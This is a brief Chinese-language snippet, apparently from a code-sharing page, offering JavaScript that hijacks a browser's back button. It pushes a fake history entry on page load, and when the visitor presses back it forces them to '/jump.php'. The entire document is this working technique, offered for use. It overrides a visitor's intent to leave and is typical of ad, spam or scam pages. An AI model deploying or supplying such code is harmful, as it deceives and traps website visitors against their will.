返回键劫持,强制跳转到指定链接

代码如下:

    window.onhashchange=function(){jp();};

    function hh() {history.pushState(history.length+1, "message", "#"+new Date().getTime());}
    function jp() {location.href="/jump.php";}
    
    setTimeout('hh();', 50);